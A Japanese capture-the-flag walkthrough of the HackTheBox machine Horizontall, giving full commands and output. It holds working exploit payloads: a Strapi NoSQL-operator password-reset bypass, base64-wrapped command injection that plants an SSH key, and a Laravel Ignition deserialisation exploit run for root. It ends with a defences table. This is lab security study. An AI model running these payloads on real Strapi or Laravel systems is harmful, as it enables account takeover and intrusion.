HackTheBox: Horizontall — 全実行コマンド・実行結果レポート
Nmap スキャン
22/ssh, 80/http (nginx)
→
22/ssh, 80/http (nginx)
Vue SPA解析
app.js内vhost発見
→
app.js内vhost発見
api-prod.horizontall.htb
Strapi 3.0.0-beta.17.4
→
Strapi 3.0.0-beta.17.4
CVE-2019-18818
$gt演算子で認証バイパス
→
$gt演算子で認証バイパス
admin JWT取得
→
CVE-2019-19609
plugins/install blind RCE
→
plugins/install blind RCE
SSH公開鍵注入 → strapi shell → user.txt ✓
→
SSHローカルフォワード
localhost:8000 Laravel
→
localhost:8000 Laravel
CVE-2021-3129
Ignition debug PHPGGC RCE
→
Ignition debug PHPGGC RCE
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.28 nmap -sV -sC -p 22,80 10.129.90.28
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 |_http-title: Did not follow redirect to http://horizontall.htb/
ℹ️
nginxがHostヘッダーを見て
horizontall.htbへリダイレクトする
vhost構成。まずこのvhostを/etc/hostsへ登録する必要がある。
vhost登録 & Vue.js SPAの解析
BASH
echo "10.129.90.28 horizontall.htb" | sudo tee -a /etc/hosts curl -s http://horizontall.htb/ | grep -oP '/js/app\.\w+\.js'
RESULT
<title>horizontall</title> <script src="/js/app.c68eb462.js"></script> (Vue.jsシングルページアプリケーション、noscript警告あり)
バンドルJS内の隠しvhost発見
BASH
curl -s http://horizontall.htb/js/app.c68eb462.js | grep -oP 'http://[a-z0-9.-]+\.horizontall\.htb[^"'"'"']*'
RESULT
r.a.get("http://api-prod.horizontall.htb/reviews")
🚨
重要発見: フロントエンドのバンドルJS内に、API呼び出し先として
api-prod.horizontall.htbという別のvhostがハードコード
されていた。これを/etc/hostsへ追加登録してアクセスする。
BASH
echo "10.129.90.28 api-prod.horizontall.htb" | sudo tee -a /etc/hosts curl -s http://api-prod.horizontall.htb/admin/init
RESULT (本検証の実際の出力)
{"data":{"uuid":"...","currentEnvironment":"development",
"autoReload":false,"strapiVersion":"3.0.0-beta.17.4"}}
✅
api-prod.horizontall.htb/admin配下はStrapi CMS 3.0.0-beta.17.4の
管理画面であることが判明。このバージョンは複数の重大CVEが公開済み。
PHASE 2
CVE-2019-18818 — Strapi reset-password 認証バイパス
脆弱性の仕組み
NOTE
Strapi 3.0.0-beta系の /admin/auth/reset-password エンドポイントは、
パスワードリセット用のメール内トークン("code")をMongoDB/NoSQLクエリの
演算子としてそのままデータベース検索に使ってしまう実装上の不備がある。
通常は特定ユーザーに送信された正しいトークン文字列と完全一致する
レコードを検索するが、ここに文字列ではなく NoSQL 比較演算子
{"$gt": 0} (「0より大きい」=常に真) を送り込むと、トークンの値に
関係なく最初に見つかったユーザー(通常は管理者)のレコードが
ヒットしてしまい、そのユーザーのパスワードを攻撃者が指定した値に
リセットできてしまう(認証バイパス)。
HTTP (本検証で実際に送信したリクエスト)
POST /admin/auth/reset-password HTTP/1.1
Host: api-prod.horizontall.htb
Content-Type: application/json
{"code":{"$gt":0},"password":"SuperStrongPassword1","passwordConfirmation":"SuperStrongPassword1"}
BASH (curlでの再現)
curl -s -X POST http://api-prod.horizontall.htb/admin/auth/reset-password \
-H "Content-Type: application/json" \
-d '{"code":{"$gt":0},"password":"SuperStrongPassword1","passwordConfirmation":"SuperStrongPassword1"}'
RESULT (本検証の実際のレスポンスより)
{"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
"user":{"id":3,"username":"admin","email":"admin@horizontall.htb","blocked":null}}
✅
認証バイパス成功! adminユーザーのパスワードが
SuperStrongPassword1にリセットされ、即座に有効な
管理者JWTトークンが返ってきた。以降のAPIリクエストには
Authorization: Bearer <jwt>ヘッダーを付与する。
PHASE 3
CVE-2019-19609 — plugins/install Blind RCE & user.txt取得
脆弱性の仕組み
NOTE
管理者権限で到達できる /admin/plugins/install エンドポイントは、
インストールするプラグイン名を内部的にシェルコマンド構築へ利用しており、
"plugin"パラメータの値をサニタイズせず渡している。プラグイン名の末尾に
"&& $(コマンド)" を連結することで、プラグインインストール処理の
一部としてOSコマンドを実行できる(Strapiプロセスのユーザー権限=strapi)。
このAPI自体はインストール失敗で400エラーを返すだけだが、注入した
シェルコマンドは応答を待たず既に実行されている("blind" RCE)。
BASH (ed25519鍵ペアをKali側で生成)
ssh-keygen -t ed25519 -f horizontall_strapi -N "" -q PUBKEY=$(cat horizontall_strapi.pub)
BASH (SSH公開鍵をauthorized_keysへ注入するコマンドをbase64化して埋め込む)
CMD="mkdir -p /opt/strapi/.ssh && echo '$PUBKEY' >> /opt/strapi/.ssh/authorized_keys && chmod 700 /opt/strapi/.ssh && chmod 600 /opt/strapi/.ssh/authorized_keys"
B64=$(echo -n "$CMD" | base64 -w0)
curl -s -X POST http://api-prod.horizontall.htb/admin/plugins/install \
-H "Authorization: Bearer <JWT>" \
-H "Content-Type: application/json" \
-d "{\"plugin\": \"documentation && \$(echo ${B64} | base64 -d | bash)\", \"port\": \"1337\"}"
RESULT (本検証の実際のレスポンス)
{"statusCode":400,"error":"Bad Request","message":[{"messages":[{"id":"An error occurred"}]}]}
⚠️
400エラーは正常な挙動。 プラグインインストール自体は失敗するが、
これは想定通り — シェルコマンドは
&&の前段(ダミーのプラグイン名)が
評価される過程で既に実行済み。コマンド注入はbase64でラップすることで、
シングルクォートやバックスラッシュ等のJSON/シェル両方のクォート問題を
同時に回避している。
SSHログイン & user.txt取得
BASH
ssh -i horizontall_strapi -o StrictHostKeyChecking=no strapi@10.129.90.28 \ "id; cat /home/developer/user.txt"
RESULT (本検証の実際の出力)
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
d47990bcac502e799ff22d2ecdc07e70
ℹ️
user.txtの所有者は
developerユーザーだが、
-r--r--r--(全ユーザー読み取り可)のパーミッションのため、
strapiユーザーのシェルからでも直接読み取れる。
user.txt — /home/developer/user.txt (strapi権限で読取)
d47990bcac502e799ff22d2ecdc07e70
PHASE 4
Laravel デバッグモード RCE (CVE-2021-3129) — root.txt取得
内部限定サービスの発見
BASH (SSHシェル上で実行)
ss -alnp | grep 127.0.0.1
RESULT
LISTEN 0 128 127.0.0.1:1337 (strapi本体)
LISTEN 0 128 127.0.0.1:8000 (別アプリ)
LISTEN 0 80 127.0.0.1:3306 (mysql)
ℹ️
外部公開されているStrapi(1337)に加えて、localhost限定で
8000番ポートに別のWebアプリが稼働している。これは
外部ポートスキャンでは一切見えない(filtered/closed)ため、
内部シェルからの
ss -alnp無しでは発見できない。
SSHローカルポートフォワードで到達
BASH (Kali側で別ターミナル)
ssh -i horizontall_strapi -N -L 8000:127.0.0.1:8000 strapi@10.129.90.28
BASH
curl -s http://127.0.0.1:8000 | grep -i title
RESULT
<title>Laravel</title>
🚨
重要発見: Laravel(PHPフレームワーク)アプリが
内部限定で稼働しており、かつデバッグモード(APP_DEBUG=true)が
有効。存在しないルートへアクセスするとエラー画面(Ignitionデバッガ)が
表示され、これはLaravel 8.4.2以下に存在する既知のデシリアライゼーション
RCE(CVE-2021-3129)の対象条件に合致する。
CVE-2021-3129 PoC (phpggc Monolog/RCE1) の実行
NOTE
CVE-2021-3129は、Laravel標準のエラーページ描画(Ignition)が、 ログファイルパスとして任意の文字列(phar://経由のPHARファイル)を 受け付けてしまう脆弱性。phpggc(PHP Generic Gadget Chain)で Monolog/RCE1ガジェットチェーンを使ったPHARファイルを生成し、 ログビューア機能にそのパスを渡すことでPHARデシリアライズが発生し、 任意コード実行に至る。本検証ではこの一連の手順を自動化した 公開PoC(nth347/CVE-2021-3129_exploit、内部でphpggcを自動取得)を利用した。
BASH
git clone --depth 1 https://github.com/nth347/CVE-2021-3129_exploit.git cd CVE-2021-3129_exploit python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "cat /root/root.txt"
RESULT (本検証の実際の出力)
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited
839c4d1c752f7da9355848be0ba0a2e4
✅
root化成功! このLaravelアプリケーション自体が
root権限で稼働していたため、PHARデシリアライズRCEの
実行コンテキストもそのままroot権限となり、
/root/root.txtを直接読み取れた。
root.txt — Laravel CVE-2021-3129 (Ignition PHPGGC RCE, root権限で稼働)
839c4d1c752f7da9355848be0ba0a2e4
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — /home/developer/user.txt (strapi権限で読取)
d47990bcac502e799ff22d2ecdc07e70
root.txt — Laravel CVE-2021-3129 (root権限で稼働)
839c4d1c752f7da9355848be0ba0a2e4
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CVE-2019-18818 | Strapi 3.0.0-beta.17.4 (/admin/auth/reset-password) | 認証バイパス・管理者JWT奪取 | Critical | codeパラメータにNoSQL比較演算子{“$gt”:0}を送信し任意ユーザーのパスワードをリセット |
| CVE-2019-19609 | Strapi (/admin/plugins/install) | リモートコード実行 (strapiユーザー) | Critical | pluginパラメータへ&& $(cmd)を連結したBlind RCEでSSH公開鍵を注入 |
| CVE-2021-3129 | Laravel <=8.4.2 + Ignition (localhost:8000) | リモートコード実行 (root権限) | Critical | デバッグモードのログビューアにphar://PHARファイルパスを渡しMonologガジェットでデシリアライズRCE |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap, Vue.js SPAバンドルJS解析 | 22/ssh, 80/http、隠しvhost api-prod.horizontall.htb(Strapi) |
| 2 | 認証バイパス | CVE-2019-18818 (NoSQL演算子注入) | 管理者JWTトークン |
| 3 | RCE+横移動 | CVE-2019-19609 (Blind RCE) → SSH公開鍵注入 | user.txt (strapi経由developer) |
| 4 | 権限昇格 | SSHローカルフォワード → CVE-2021-3129 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| 未パッチの古いStrapi CMS(3.0.0-beta系)が稼働し、既知の重大CVEに対して脆弱 | CMS・フレームワークを含む全ソフトウェアを定期的に最新安定版へ更新するパッチ管理プロセスを導入する。 |
| フロントエンドのバンドルJSに内部API用vhostがハードコードされ外部から発見可能 | 内部専用エンドポイント名をクライアントサイドコードに埋め込まず、環境変数等サーバー側でのみ解決する設計にする。 |
| ユーザー制御可能なトークン値をNoSQLクエリへそのまま使用している(NoSQLインジェクション) | パスワードリセットトークン等のクエリパラメータは必ず型・形式を厳密にバリデーションし、演算子オブジェクトを受け付けない設計にする。 |
| 本番運用に近いアプリケーションでLaravelのデバッグモード(APP_DEBUG=true)が有効なまま、しかもroot権限で稼働している | 本番環境では必ずAPP_DEBUG=falseとし、アプリケーションは最小権限の専用ユーザーで実行する。Laravelは既知のIgnition RCEに対応した最新版へ更新する。 |

